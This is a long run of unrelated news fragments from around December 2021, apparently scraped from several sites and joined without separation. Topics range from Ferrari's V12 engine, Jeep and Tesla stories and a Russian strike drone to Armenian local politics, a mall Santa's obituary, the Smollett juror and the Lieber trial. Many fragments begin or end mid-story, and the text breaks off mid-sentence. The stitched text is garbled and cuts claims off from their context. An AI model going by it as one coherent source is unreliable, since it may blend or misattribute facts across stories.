YouTube by NM2255 Car HD Videos.In road-legal form, the engine initially retained its original 6.0-liter displacement, branching out into two distinct units: the first was the slightly detuned, 612-hp F140 C used in the 599 GTB Fiorano (2006), while the second was the 599 GTOs 661-hp F140 CE (2010).Like the FXX variants, it was subsequently enlarged to 6.3-liters and produced in four output versions. The most powerful was used in the companys first plug-in hybrid, the 2013 LaFerrari . On its own, the powerplant which bore the designation F140 FE could make 789 hp and 516 lb-ft (700 Nm) of torque, but those figures rose to 950 hp and 664 lb-ft (900 Nm) when the F1-derived KERS system was engaged.As was the case with the Enzo, the LaFerrari was also transformed into a track monster with the introduction of the FXX-K (2014) and FXX-K Evo (2017). In these two ultra-rare models, peak power and torque stood at the same values as the previous-generation FXX, but with the help of KERS, they went up to 1,036 hp and 664 lb-ft (900 Nm).The current 6.5-liter edition of the F140 began production in 2017, and just like its 6.3-liter sibling, it comprises four different output versions. Producing between 789 and 819 hp, three of these iterations can be found in the engine bays of the 812 grand tourers or the windshield-less Monza SP1 and SP2.Just when we thought that Ferrari was giving up on non-electrified, V12-powered cars, the manufacturer announced the breathtaking, mid-engine Daytona SP3 . Inspired by the sports-prototype racers that won the 1967 Daytona 24 Hours, it will be available in 2022 with an 828-hp twelve-cylinder, the fourth and most powerful street-legal version of the 6.5-liter F140.In naturally aspirated guise, this amazing powerplant seems to have reached the end of the line. However, recent rumors state that the Italian carmaker plans to extend its lifespan with the help of turbocharging. Some say that the upcoming Purosangue SUV will offer such a mill, but no official information can back that up yet. Whether or not this is true, the F140 is certainly Ferraris last V12. It will soon celebrate twenty years since entering production and will go down in history as one of the greatest engines Ferrari has ever built. Havila Capella is one of the first four environmentally friendly vessels built for Havila Voyages as part of an agreement with the Ministry of Transport and Communications in Norway. All four ships will be operated by the shipping company and will sail on the aforementioned route until 2030.Building the four plug-in hybrid vessels was a costly investment of more than $55 million. According to Havila, all new ships are equipped with the worlds largest battery packs, weighing 86 tons and boasting a capacity of 6.1 megawatt-hours, which is equivalent to 600 top-of-the-range Teslas. The batteries offer four hours of sailing through Norways popular fjords, without noise and emissions.Using liquified natural gas ( LNG ) and battery power for propulsion, Havila Capella boasts of cutting CO2 emissions by 25 percent and reducing NOx emissions by 90 percent. Moreover, Havila Voyages says the food concept onboard the vessel cuts food waste by 60 tons per year because there are no buffets. Guests are personally served at their tables for all meals.Built this year, the 124 m (406 ft) long cruise ship has a capacity of 640 passengers who can be accommodated in 179 cabins. With an energy-efficient hull design, Havila Capella is decorated and furnished in a Scandinavian style and features large, panoramic windows that let stunning views bathed in the ever-changing Arctic light, as explained by Havila Voyages. Guests can relax in a jacuzzi or in lounge chairs under the glass roof, admiring the midnight sun or the Northern Lights.All ships also come with a fully equipped gym, a conference hall, shops, cafes, and restaurants, to name the most notable amenities.The other three environmentally-friendly ships are Havila Castor, which is scheduled to depart next year, on April 7, Havila Polaris, and Havila Pollux, which are scheduled for the next summer. You can check out the website for more information on the voyages, available packages, and pricing. Depending on its rival, it either put them to shame or drove back home with the tail between its legs. We all remember it taking on one of its biggest rivals, the Lamborghini Urus, or some other serious high-riders, but in this case, it had its skills tested by a Tesla Model 3 The ultra-popular premium sedan born in the U.S. of A. has the instant thrust advantage, which, combined with some proper coordination from the driver, can help it put many quick vehicles to shame. Whether the Grand Cherokee Trackhawk is one of them remains to be seen, though one thing is certain: the Jeep wont go down without a fight.Thats because it is quicker than some previous generation supercars. Keep the throttle pinned to the floor, and you will see 180 mph (290 kph) on the speedometer. The naught to 60 mph (0-97 kph) sprint is dealt with in three and a half Mississippis, and for power, it uses a supercharged 6.2-liter V8. The whining mill gives it no less than 707 horsepower and 645 pound-feet (875 Nm) of torque to play with, and it is one big confidence booster.Besides the Grand Cherokee Trackhawk vs. Model 3 race, the video that you are about to see shows two more cars battling it out down the quarter-mile. One of them is a grey Jeep Grand Cherokee, which appears to be in the SRT configuration, and the other one was born stateside as well, and it is a Tesla Model X . So, did the Jeeps prove their mettle by beating the EVs, or were the latter simply unstoppable? You know what to do to find out. The automakers Technical Safety and Regulatory Compliance Office identified the incomplete software on certain vehicles back in November 2021. FCA then determined that it doesnt comply with federal motor vehicle safety standard number 108, hence the aforementioned recall.Subject vehicles were produced between December 3rd, 2020 and July 27th, 2021 when the smart lighting module software was rectified by the 4x4 specialist. Both dealers and customers will be notified of the callback on January 28th, and the remedy consists of flashing the correct software.Based on the Alfa Romeo Giorgio platform, the Grand Cherokee L hasnt been tested yet by the Insurance Institute for Highway Safety . The previous-generation Grand Cherokee, on the other hand, has received acceptable and poor ratings for headlight performance depending on the trim.Turning our attention back to the three-row Grand Cherokee L, the people-moving utility vehicle will set you back $39,220 at the very least for the Laredo 4x2 with the 3.6-liter V6. The Pentastar six-cylinder engine cranks out 290 horsepower and 257 pound-feet (348 Nm) in this application.The 5.7-liter HEMI V8 is optional even for the range-topping Summit Reserve trim level, adding $3,295 to the tally. Switching to eight cylinders also upgrades the 8HP automatic transmission from the 850RE to the slightly beefier 8HP75 thats rated for 750 Nm (553 lb-ft) of torque.Rated at 357 horsepower and 390 lb-ft (529 Nm), the HEMI-engined Grand Cherokee L is key to achieving the maximum towing capacity of 7,200 pounds (3,266 kilograms). By comparison, the posh Land Rover Defender with the base 2.0-liter turbo can pull 7,716 pounds (3,500 kilograms). Russian military officials are gearing up for the first flight of the new Hunter heavy strike drone, recently unveiled at the Novosibirsk Aviation Enterprise. Officially named the Sukhoi S-70 Okhotnik-B, this unmanned combat aerial vehicle (UCAV) is an upgraded version of the first Hunter drone, which conducted its debut flight in 2019. At the time, the Okhotnik flew for 30 minutes, together with the Su-57, operating in automated mode, at an altitude of over 5,200 feet (1,600 meters).The main advantage of the latest version is that its even stealthier , thanks to the new thruster with a flat nozzle that reduces its radar signature, in addition to its special silhouette without a tail. The innovative 3D-printed flat nozzle makes this drone harder to detect by enemy missiles. Also, designed to operate together with the Su-57, the drone is capable of striking both air and ground targets.According to the Russian media, a pilot of the next-generation fighter jet would be able to coordinate up to four Okhotnik drones at the same time. So, each Su-57 could operate with not just one but a group of deadly drones. These stealthy aerial vehicles also have a take-off weight of 22 tons and can fly at over 620 mph (1,000 kph). The Su-57 (and its export version, the Su-57E) itself was also designed with a high level of automation and a low radar signature, in addition to sustaining supersonic flight even in challenging conditions. Together with the new heavy strike drone, its bound to become even deadlier.The next step after the unveiling of the first flight prototype of the Hunter is to prepare for flight tests. The Russian troops are expected to start receiving the state-of-the-art Okhotnik drones by 2024. But given all we know about how some people love bullying others online or in real life, is this story so far-fetched? My answer would be no. If the story is, indeed, true, luckily, theres no actual damage she has to pay for. Everyone who has been involved in an accident , be it a light tapping, knows paperwork is the worst. What if you dont even know who did it?A woman, whose name is Sarah Hall, just shared on her Facebook account the message she found when she returned to her car parked in Ramsbottom, Greater Manchester.The mom of two posted that the note was attached to her windscreen and wrote: Sorry hit your car. But not giving my details as your car is s**t! After the rude message, the author changed its pace and added: Have a nice day, Merry Christmas and a Happy New Year. She captioned the picture: "Anyone want to own up to this? My car hasnt been it but who ever did this put my mirrors in and wipers out?Imagine the bafflement! Of course, Hall, 30, quickly checked out her vehicle to see what the damage was, but she couldnt see anything out of the ordinary.The womans car in question is a Suzuki Celerio from 2015, and she revealed she paid almost $6,000 (4,500) two years ago for the vehicle which she thinks is in decent condition.She told Manchester Evening News : "My car is fine Im just curious who did it? My car is s**t but only Im allowed to say that. All the mirrors were pushed in and wipers up, except the one that had the note on. She added: "I dont think the note's genuine as I cant see any damage. Unless I'm that daft I can't see it."I have to address the elephant in the room, though. Since the woman openly admitted not seeing any damage to her car, there have been multiple comments on social media that claim that never happened, and its all for clout. According to the Fremont Police Department, Anthony Solima and the victim had been arguing on the production lines earlier that day. They worked together for Tesla, and Solima walked off the job suddenly. The identity of the murdered Tesla worker has not been disclosed so far.With elements that made Solima the main suspect, the Fremont Police Department went after arrest and search warrants on December 14. The suspect lived in Milpitas, where he was finally arrested. In his car, the police discovered a loaded, non-serialized, .223 caliber, short-barrel rifle with an expended casing.It seems the case will soon be closed because there are no other suspects of the crime. The fact that both Solima and the victim worked in Fremont makes things really hard for Tesla. As usual, the company did not reply to any request for comments about the murder.If Tesla cannot prevent racism, sexual harassment, drug trafficking, and murder on its premises, it is fair to ask what role the HR (human resources) department has at all. Tesla may soon discover that it is something it can live without as it lacks PR (press relations) or marketing departments. In the end, it makes absolutely no difference in the lives (or deaths) of Tesla workers. If Tesla announced it would just get rid of it, it would not surprise us.While the company does not do that, it is fighting to cut the punitive damages award it was sentenced to pay to Owen Diaz, the contract worker that sued Tesla for racism. Considering all that the Fremont factory is going through, theres a substantial risk that courts may think the penalty was too light. The G7 Cab Company has suspended all use of its 37 Model 3 units until further notice. At the same time, an investigation will be conducted to determine the root cause of one of the most brutal car accidents the French capital has seen for quite some time.Three more of the 20 survivors of the accident are in serious condition. Now, Tesla has responded to hard inquiries from French and EU authorities, swearing that the cause of the tragic accident had little to nothing to do with defects in Tesla R&D, according to Reuters "We have been in contact, of course, with Tesla's management and they tell us that there is no technical problem to flag on their vehicles," government spokesman Gabriel Attal told reporters in Paris. The chief executive of Tesla Europe confirmed the information for the Transport Minister Jean-Baptiste Djebbari. He has also been told that Tesla provided the necessary data, collected from sensors and cameras, to the investigators.Video from the scene of the accident has yet to point to a definitive cause for the senseless tragedy. Investigators are currently trying to weigh Tesla's official response against the evidence presented at the crash site to prove which side is at fault. It could spell bad news for Tesla if they wind up on the wrong side of this decision.Meanwhile, Tesla frontman Elon Musk is riding high this holiday season. His christening as Time magazine's 2021 Man of the Year, coupled with the progress of his SpaceX Starship system, might see this latest round of PR kerfuffles drowned out in a sea of other noise.It'd surely be the ultimate killjoy for Elon if any of Tesla's systems, like its controversial Autopilot feature, were proven to be at fault for this hideous accident. Expect updates and official court information to come slowly but surely in the next few months. Check back for more here on autoevolution. EV We should mention that Toyotas Design Senior General Manager was the only executive to talk about it, even though he did not even speak its name. Simon Humphries said that the Compact Cruiserwas a product of building on Toyotas off-road heritage to create new and exciting recreational experiences. And that was pretty much it.When Humphries talks about Toyotas off-road heritage, it may remind us of the Land Cruiser. However, the Compact Cruiser brings another vehicle to mind immediately: the FJ Cruiser. Ironically, this off-roader did not sell that well and became a cult car when it was about to bite the dust not in an off-road track, mind you. Some years ago, it was one of the few cars worth more as used vehicles than they did when they were brand new.What the images and the concept car name tell us is that the Compact Cruiser EV is a downsized and electric version of the FJ Cruiser . With a more manageable size, particularly in Asia and Europe, it may reach sales numbers that are much superior to those presented by the car that inspired it.The Compact Cruiser may also eye what Rivian has achieved with the R1T to focus on a capable and affordable electric vehicle with loads of torque. If the production version of the Compact Cruiser EV is sold at reasonable prices, we can imagine it as being a ubiquitous sight in trails all around the world.Sadly, the lack of attention Toyota dedicated to it may mean it was just a design exercise and nothing else. We must say that this would be a massive mistake: the Compact Cruiser EV has the design touches that would make it a very successful car. It should only be forgotten or barely mentioned if Toyota cannot pull its production off. Well make sure to remember it whenever possible. $250,000 of this money will go to the Community Foundation of West Kentucky. Who services the area most devastated by the wrath of the recent storms. The remaining $250,000 will be donated to SBP, Toyota's disaster resilience, response, and recovery partner. This money will go towards the ongoing recovery effort already underway since the storms passed last week. Dozens are still missing and feared lost.Toyota will also call upon its many suppliers and support agencies to donate a not-insignificant amount of money for the specific purpose of aiding in the grueling and expensive recovery effort. These companies include DENSO , their OEM sparkplug supplier, and Toyota Tsusho America, their corporate trading subsidiary.Toyota is no stranger to such relief efforts. Most famously, funding food drives for New York City communities in the aftermath of Superstorm Sandy in October 2012. So too did their American subsidiaries aid in this effort.In total, at least $800,000 of Toyota capital will be transferred directly into the funds of rescue workers and first responders in affected states like Arkansas, Missouri, Illinois, Tennessee, and Kentucky.In addition, Toyota will match the charitable donations of every employee contribution in support of SBP and the American Red Cross in their efforts to save as many lives as possible.Toyota Financial Services have announced payment relief options for owners who've lost property or loved ones in the wrath of one of the worst December tornadoes in recorded history.It will cost the king's share to recover all that was lost in the storm. This contribution from America's highest seller of automobiles is undoubtedly going to be of huge assistance. The 7.5 and 12-ton variants were designed by Volta Trucks partner, Astheimer Design, in the UK, and will, of course, resemble the larger 16-ton vehicle presented back in September of 2020 (and unveiled as production-ready last month), but the visual relationship between them is described as evolutionary.Despite being smaller, these new models will still have the same innovative cab and premium working environment for drivers, featuring a low, central seating position, excellent safety technology, plus what Volta believes to be industry-leading visibility.Naturally, because of their size, these new trucks will fulfill different use cases compared to the 16-ton model. For example, the 7.5-ton truck will be able to operate on Sundays in several European territories, where the 16-ton vehicle would be excluded.With engineering now underway, we can expect to see a Pilot Fleet of vehicles ready for customer trials in 2023, before series production kicks off sometime in 2024.Once ready, the 7.5 and 12-ton trucks will join the 16-ton model in markets such as Paris and London, followed shortly by Milan, Madrid, the Rhine Ruhr region in Germany and Randstad, Netherlands. Production-wise, the new variants will take Volta from a total of 14,000 units in 2024 to over 27,000 by 2025 a number which can be expected to grow even more.The full-electric 16-tonne Volta Zero is our first vehicle and the heart of our brand. But when designing that truck, we knew that wed need to scale the innovative packaging and cab concept to accommodate different size vehicles, said Volta Trucks chief product officer, Ian Collins.Our customers tell us that they appreciate the safety and zero-emission operations offered by the 16-tonne Volta Zero, but also need those positive attributes in smaller 7.5- and 12-tonne vehicles, and they need them quickly. Thank you for reading! Please purchase a subscription to read our premium content. If you have a subscription, please log in or sign up for an account on our website to continue. Google has agreed to set up a privacy and online safety initiative for children in New Mexico, after being accused of violating U.S. law that governs children's privacy on the internet. Driving the news: Google LLC and New Mexico Attorney General Hector Balderas announced a settlement Monday over allegations Google violated the Children's Online Privacy Protection Act (COPPA) and New Mexico state consumer protection laws. Two federal court cases New Mexico filed against Google are resolved by the settlement, Balderas' office announced. The big picture: The settlement, which includes $3.8 million for the new initiative, is mostly a victory for Google, which wasn't found to have broken COPPA and now gets its name on a children's education and online safety project. Google also notched a win last September when a U.S. district judge dismissed New Mexico's suit, which led to an appeal What they're saying: "Im pleased that we demanded Google put the safety of our school children first and that were able to partner with Google in our shared commitment to innovation and education," said Attorney General Balderas in a release. We are pleased to support programs and initiatives in New Mexico that promote kids education, privacy, and safety online," said Cynthia Pantazis, Google's director of government affairs and public policy. Details: Google and attorney general Balderas will identify recipients of the initiative's funds. As part of the settlement, Google will also require apps on its Play Store to use age-screening tactics in order to avoid collecting information from children below age 13. America is bracing for a sequel to the protests ignited after George Floyd's murder, with the focus now less on police and more on the nation's broader criminal justice system and self-defense laws. Why it matters: Activists and law enforcement officials warn that two ongoing national trials have the ingredients to reignite racial tensions and public protests when verdicts are handed down. Driving the news: In Kenosha, Wisconsin, Kyle Rittenhouse, 18, is charged with fatally shooting two men and injuring another during protests against police last summer. In the other case, three white men are on trial for killing Ahmaud Arbery, a 25-year-old Black man shot last year while jogging outside Brunswick, Georgia. Between the lines: In both cases, the accused are claiming self-defense. Activists worry that acquittals could embolden vigilantes who commit gun violence especially against people of color and then claim self-defense. Ronnie Dunn, associate professor of urban studies at Cleveland State University, said, "It's ironic that we're working to get better control and accountability of police officers and their use of force, yet we're expanding the ability for the average citizen to use deadly force." Zoom in: In the Rittenhouse trial, Slate examined Judge Bruce Schroeder's actions, from his treatment of the prosecutor to his cellphone's ringtone ("God Bless the USA"), in a provocative piece titled, "Don't Blame Judge Schroeder if Kyle Rittenhouse Goes Free." In Georgia, Kevin Gough the lawyer for William "Roddie" Bryan, one of the men charged in connection with Arbery's 2020 killing asserted that the Rev. Al Sharpton was influencing jurors: "We dont want any more Black pastors coming in here." Zoom out: "Stand your ground" laws, including Georgia's, allow deadly force in self-defense, with no obligation to retreat. Advocates say these cases show how the laws benefit mainly white residents and the racial disparities deeply ingrained in the judicial system. An Urban Institute report in 2013 found homicides in which the perpetrator was white and the victim Black to be 10 times more likely to be found justified as when it was the other way around and that the disparity was greater in "stand your ground" states. The New York Times examined the current trials through the lens of how ubiquitous and protected guns are in the U.S., quoting expert Kimberly Kessler Ferzan in the Texas Law Review: "The problem is that with a citizenry armed with guns, we have blurred every line." The Times noted some states shifted from defendants having to show they acted in self-defense to prosecutors having to show they didn't. Civil rights lawyer Maya Wiley told Axios' Alexi McCammond that U.S. self-defense laws "really are not keeping pace with where we are in society." That applies to everything from what constitutes the threat of violence, to who is responsible for instigating violence, to law enforcement's role in giving vigilantism "a wink and nod." What we're watching: Police departments and mayors around the country are keenly aware of the implications. In Wisconsin, 500 National Guard members are on standby as the end of the Rittenhouse trial nears, Gov. Tony Evers said Friday. The bottom line: No matter the outcome of these cases, it's unlikely that states will repeal conceal-carry or "stand your ground" laws, New Mexico State Rep. Antonio Maestas, a Democrat and a criminal justice reform advocate, told Axios. The assassination of Iranian commander Qasem Soleimani in January 2020 seemed like the height of U.S.-Israel cooperation, but it actually became a major point of tension between the allies. Behind the scenes: Donald Trump expected Israel to play a more active role in the attack, and he griped that then-Prime Minister Benjamin Netanyahu was "willing to fight Iran to the last American soldier, according to a former senior Trump administration official. Trump himself told me, Israel did not do the right thing." Trump made that remark in an interview last July for my book Trumps Peace: The Abraham Accords and the Reshaping of the Middle East." I can't talk about this story. But I was very disappointed in Israel having to do with that event. ... People will be hearing about that at the right time," Trump said. Between the lines: It's unclear if Trump's anger is entirely justified. A senior Israeli defense official told me that Israel proposed a more active role for Israeli forces but the U.S. insisted on being the ones to execute the strike. Israel also provided the U.S. with key intelligence support, including tracking Soleimani's cellphone, Yahoo News reported. The former senior U.S. official said Trump's anger wasn't totally warranted, but that he put the episode into the same box he had put his feelings for NATO of allies wanting the U.S. to do their fighting for them. Warranted or not, the episode stuck with Trump during his last year in office. Netanyahu tried to pull Trump aside to make amends when he visited the White House in September 2020 for the signing of the Abraham Accords, but Trump wasn't convinced and continued to believe Netanyahu had used him, a former White House official told me. Flashback: On the night of Jan. 3, 2020, Soleimani the commander of Iran's regional network of proxies and international intelligence and terror operations arrived in Baghdad. A few minutes after his car left the airport, it was struck by a missile fired by a U.S. drone. He was killed on the spot, along with the commander of an Iraqi militia. The Trump administration's contention that Soleimani had posed an "imminent threat" was intensely debated at the time. Trump claimed in our interview that the Iranian general was in Iraq to meet with militia commanders and plan attacks against U.S. targets. They were not meeting to discuss child care, OK? They had a lot of very bad intentions. And we knew that. So I felt very strongly that our country really had little choice," Trump said. Worth noting: A former senior Israeli official said other senior members of the Trump administration, including Vice President Pence, had expressed appreciation for the Israeli role in the Soleimani killing and its aftermath. Go deeper: Michel, who heads the European Unions top decision-making body, said Azerbaijani President Ilham Aliyev and Armenian Prime Minister Nikol Pashinian assured him that they remain committed to honoring relevant agreements brokered by Russia over the past year. President Aliyev and Prime Minister Pashinian agreed that in the context of the planned launch of negotiations on the delimitation and demarcation of the state border between Armenia and Azerbaijan, further tangible steps will need to be taken to reduce tensions on the ground to ensure a conducive atmosphere for the talks, he said in a late-night statement on the trilateral meeting. The EU is ready to provide technical assistance to the demarcation process, added Michel. It was agreed to proceed with the restoration of railway lines, with appropriate arrangements for border and customs controls, based on the principle of reciprocity, he said, indicating the EUs readiness to finance that work. Pashinian confirmed that he and Aliyev reaffirmed the agreements to relaunch the railways. Armenia and Azerbaijan will retain full control over railways passing through their territory, he said in a Facebook post. Neither Michel nor Pashinian mentioned other transport links and, in particular, a road that would connect Azerbaijan to its Nakhichevan exclave via Armenia. Speaking in Brussels earlier on Tuesday, Aliyev said people and cargo passing through that Zangezur corridor must be exempt from Armenian border controls. Pashinian rejected the demand shortly before the trilateral meeting, saying that it runs counter to understandings reached by them with Russian mediation. Michel stressed the importance of establishing transport links between Armenia and Azerbaijan while fully respecting the sovereignty of all countries. He said he also urged the two sides to work towards de-escalation and resolve all outstanding humanitarian issues, including the release of more Armenian soldiers held in Azerbaijan. Turkish Foreign Minister Mevlut Cavusoglu announced on Monday that the governments of the two neighboring states will soon appoint special envoys for that purpose. The Armenian Foreign Ministry confirmed that. We welcome and strongly support statements by Turkish Foreign Minister Mevlut Cavusoglu and [the Foreign Ministry] of Armenia on appointing Special Envoys to discuss the process of normalization, tweeted Blinken. The Bloomberg news agency on Monday quoted an unnamed senior Turkish official as saying that U.S. President Joe Biden urged his Turkish counterpart Recep Tayyip Erdogan to open Turkeys border with Armenia during an October meeting in Rome. Ankara hopes that efforts to normalize Turkish-Armenian ties will help it to improve its strained relations with Washington, said the official. The U.S. played a major role in a past Turkish-Armenian rapprochement. Ankara and Yerevan came close to normalizing bilateral relations in 2009 when their foreign ministers signed two relevant protocols in Zurich, Switzerland. Erdogans administration subsequently linked their ratification by the Turkish parliament to a resolution of the Nagorno-Karabakh conflict acceptable to Azerbaijan. Cavusoglu made clear on Monday that Ankara will continue to coordinate its Armenian policy with Baku. Armenian Foreign Minister Ararat Mirzoyan complained last month that the Turks are setting new preconditions for establishing diplomatic relations and opening the border with Armenia. Those include the opening of a land corridor connecting Azerbaijan to its Nakhichevan exclave, he said. A spokesman for Mirzoyan said on Tuesday that Yerevan continues to stand for normalizing relations with Turkey without preconditions. Mamikon Aslanian ran the countrys third largest city until October. A bloc led by him essentially won the election with about 39 percent of the vote. Prime Minister Nikol Pashinians Civil Contract party finished second with 25 percent, the most serious of setbacks suffered by it in the local polls held in 36 communities across Armenia on December 5. Three other parties fared much worse but still won seats in the local council empowered to appoint the next head of the municipality comprising Vanadzor and nearby villages. Aslanian was well placed to regain his post with the help of these parties despite falling short of a majority of seats in the new Vanadzor council. The inaugural session of the council was slated for Friday. It was postponed on Wednesday after another party, which failed to win any seats, challenged the election results in court. Armenias Investigative Committee said, meanwhile, that it arrested Aslanian and charged him with abuse of power and forgery. It claimed, in particular, that the former mayor illegally auctioned off two plots of municipal land during his five-year tenure. Aslanian swiftly denied the accusations through his lawyers, who described the criminal proceedings as political persecution. In a joint statement, Yervand Varosian and Lusine Sahakian, said: After familiarizing ourselves with the essence of the accusations, it became obvious to us that Mamikon Aslanian is prosecuted for winning the election against the will of the current authorities. The lawyers also said their client is urging supporters to stay calm and rest assured that their votes will not be squandered. Senior representatives of the countrys two leading opposition groups also condemned the charges and linked them with the Vanadzor election. Artur Vanetsian of the Pativ Unem bloc visited Aslanian in custody. Some opposition figures alleged that Aslanians arrest is part of Pashinians broader efforts to forcibly install his loyalists in communities where his Civil Contract party was defeated or failed to win outright on December 5. In one such community comprising the town of Vartenis and surrounding villages, Civil Contract won 46 percent of the vote. Two local blocs challenging it got 37 percent and 16.5 percent respectively, putting them in a position to have a common candidate elected as community head. The leaders of those blocs announced such a deal last week. Law-enforcement authorities arrested one of them on corruption charges and searched the others home in the following days. In another town, Talin, a similar power-sharing deal was reached by three other opposition groups that won 11 of the 21 seats in the local council. Pashinians party will control the remaining 10 seats. One of those groups, the Hayk party, unexpectedly announced on Monday that it will not take up its 3 seats. The partys top candidate in Talin, Karen Grigorian, cited the need to defuse post-election tensions but did not elaborate. Newspaper reports claimed that he made the decision under strong government pressure. A demand for workers, $8 hourly wage: What we know about the Mayfield candle factory Chicago Public Schools says new boys+ and girls+ bathroom signs are gender inclusive; petition seeks to rescind policy Perspective: How LA, calling the shots on school vaccine mandates, can lead the way on COVID rules Locix and LAPIS Technology Co. to Jointly Develop Wireless LSI-Enabled Cloud Services to Target Key Challenges Faced by Logistics Industry You can reach Ishani Desai at 661-395-7417. You can also follow her at @idesai98 on Twitter. This coming school year, the Kern High School District will have a new face on the board, thanks to an effort by students to have their very o A beloved shopping mall Santa who has listened to the Christmas wishes of thousands of Texas children and whose jolly grin appears in countless holiday photo albums died this week. Alton Horn Jr., 67, made his final portrayal as St. Nick last weekend at Port Arthur's Central Mall, where he had been delighting children since Thanksgiving. "He tried to bring as much hope and joy to all the children he could. He got children who said they wanted their mommy or daddy to come home from war or to come home from prison and he took that to heart," said granddaughter Catherine Zakes, 23. "He knew that children wanted to believe in Santa, and a lot of the children he met with believed Santa could make a difference in their lives." Horn was found dead Monday morning inside his room at the nearby Holiday Inn Express, where he had been staying to avoid the commute between the mall and his home in Spring. He had a history of cardiovascular problems, and officials believe he may have had a heart attack. Horn was especially adored by families who visited Santa at Houston's Willowbrook Mall, where he appeared over the last several years. He also had worn the fuzzy red suit at Greenspoint and Almeda malls in Houston, Zakes said. Horn's natural appearance had all the trappings of a romanticized Mr. Claus. He was rotund with bespectacled steel-blue eyes, rosy cheeks and pearlescent wavy hair with a matching long beard - along with a perfectly pitched "ho, ho, ho." For the last eight years, Horn worked for AmuseMatte, a California-based event photography company that places live Santas at malls in the Houston area. "He was a big, strong guy who loved playing Santa," company president and CEO Mike Bordeleau said. "Not only did he look like a beautiful Santa, but he proved from the first season that he put in 100-plus percent. He's the type that doesn't want to take a break when there are children in line." Bordeleau estimates that Horn engaged with an estimated 150,000 families in the last eight years alone. Horn's holiday odyssey began in first grade when, as the largest student in his class, he was chosen to play Santa in the Christmas production. Over the years, he'd suit up when different groups needed a Kris Kringle. He started getting paid to transform into a resident of the North Pole 13 years ago when he began taking jobs in shopping centers. Horn was born April 13, 1943, in Paducah, Ky., to Alton Horn and Birdie Eloise Merritt Horn. He was the eldest of five children. He spent most of his career on the river, starting as a deckhand at 16 and working his way up to tugboat captain, Zakes said. Horn became a Houston-area resident 20 years ago to be closer to his daughter and grandchildren and was a pipefitter until he went on disability because of heart disease. That's when he started working as Father Christmas professionally. "When he moved to Texas, he told everyone to call him 'Sonny,' so even people who have known him 20 years, may not even realize his name is Alton," his granddaughter said. And when he was dressed as his alter ego, he was sometimes called "Santa Sonny," she added. Horn and his wife were among the founding members of Dayspring Church, an Humble congregation that began five years ago. He was faithful to an outreach ministry called Under the Bridge that feeds the homeless, among other projects. Pastor Oliver D. Stillwell said: "He's the kind of guy who would see somebody and strike up a conversation with them - usually underdogs, the ones that other people would overlook. That's the kind that he would single out and make sure he made them feel important because everyone was important to him." Besides his wife, Shirley, and grandchildren, Horn is survived by a daughter, Deana Horn Zakes of Spring, and a son, Alton A. Horn III, who lives in Oklahoma. A memorial service is scheduled for 11 a.m. Monday at Dayspring Church, 3505 FM 1960 East. A family graveside service will be held Wednesday in Kentucky. CHICAGO (AP) The only Black juror on the panel that convicted Jussie Smollett of lying to Chicago police said he couldn't get past what the actor did not do after he claimed attackers looped a noose around his neck: Rip it off and keep it off. If others saw the noose as Smollett's clumsy effort to portray his attackers as racist, Andre Hope saw much more. As an African American person, I'm not putting that noose back on at all, " Andre Hope told WLS-TV. At trial, Smollett testified that after the attack in downtown Chicago in January 2019, he returned home and put the rope back around his neck so police who came to his apartment soon after could see it. Hope was not the only Black person who struggled with Smollett's use of such a potent symbol of racism in the U.S. to convince authorities he was the victim of a hate crime. In an interview with NewsNation Now after Smollett was found guilty last Thursday, Eddie Johnson who was Chicago police superintendent in January 2019 when Smollett said he was attacked said virtually the same thing. I was concerned because I dont think theres many Black people in America with a noose around their neck and wouldnt immediately take it off, Johnson said. Hope said the evidence against Smollett was overwhelming. At trial, two brothers testified that Smollett recruited them to carry out the fake attack. Hope said the counter narrative put forth by Smollett's attorneys that the pair had actually planned the attack on Smollett did not make sense. "When you just use your common sense as whats there, yeah it just, it didnt add up, said Hope a 63-year-old father of two who lives in suburban Bellwood, west of Chicago. Hope listened to prosecutors argue Smollett staged the hoax because he was angry that the studio where he filmed the television program Empire did not take hate mail he received seriously. But after all the evidence was presented, after all the witnesses testified, Hope still has one big question. I still have not figured out a motive for why he did, why this had to even happen, Hope said. He was a star. Smollett faces up to three years in prison when he returns to court next year for sentencing. But experts have said it is far more likely that he will be placed on probation and ordered to perform community service. That would be fine with Hope, who thinks Smollett does not deserve to go to prison. And, he said, he hopes the actor who testified that he has lost his livelihood would be given a chance to resume his career. BOSTON (AP) The trial of a Harvard University professor charged with hiding his ties to a Chinese-run recruitment program is the latest bellwether in the U.S. Justice Department's controversial effort to crackdown on economic espionage by China. Opening statements in the trial of Charles Lieber, the former chair of Harvards department of chemistry and chemical biology, begin Wednesday after jury selection was completed Tuesday in Boston federal court. Lieber's trial is among the highest profile cases to come from the U.S. Department of Justices so-called China Initiative, which was launched in 2018 under former President Donald Trump but has faced criticism that it harms academic research and amounts to racial profiling of Chinese researchers. Federal prosecutors and Lieber's defense team didn't comment Tuesday, but in legal filings ahead of trial, prosecutors said theyll show Lieber deliberately made false statements about his participation in a Chinese university program to protect his reputation and career. Liebers lawyer, Marc Mukasey, argued in his trial brief that prosecutors will be unable to prove that he acted "knowingly, intentionally, or willfully, or that he made any material false statement. He also stressed Lieber, who remains on paid leave from Harvard, isn't charged with illegally transferring any technology or proprietary information to China. The government has this wrong, Mukasey said last year. "When justice is done, Charlies good name will be restored. Lieber was arrested last January on allegations that he hid his involvement in Chinas Thousand Talents Plan, a program designed to recruit people with knowledge of foreign technology and intellectual property to China. Lieber, prosecutors said, was paid $50,000 a month by the Wuhan University of Technology in China, given up to $158,000 in living expenses and awarded more than $1.5 million in grants to establish a research lab at the Chinese university. In exchange, prosecutors say, Lieber agreed to publish articles, organize international conferences and apply for patents on behalf of the Chinese university. He's pleaded not guilty to the charges, which include two counts of making false statements to authorities and four tax offenses for failing to report income from the Wuhan university. At the time, Lieber was one of the biggest names and one of the few not of Chinese origin swept up in the wide-ranging China Initiative, which was ostensibly launched to prosecute trade secret theft, hacking, and economic espionage. The effort also focuses on threats to national infrastructure and efforts to influence the American public and policymakers without proper transparency, according to the Justice Departments website. The department hasnt provided a comprehensive list of all the cases prosecuted under the initiative and their outcomes, but said Tuesday that the tally includes at least nine economic espionage prosecutions, seven theft of trade secrets cases and 12 matters involving fraud on universities or other grant making institutions. Hundreds of faculty members at Stanford, Yale, Berkeley, Princeton, Temple and other prominent colleges, meanwhile, have signed onto letters to U.S. Attorney General Merrick Garland calling on him to end the initiative. The academics say the effort is compromises the nations competitiveness in research and technology and has had a chilling effect on recruiting foreign scholars. The letters also complain the investigations have disproportionally targeted researchers of Chinese origin. Even Andrew Lelling, a former U.S. Attorney for 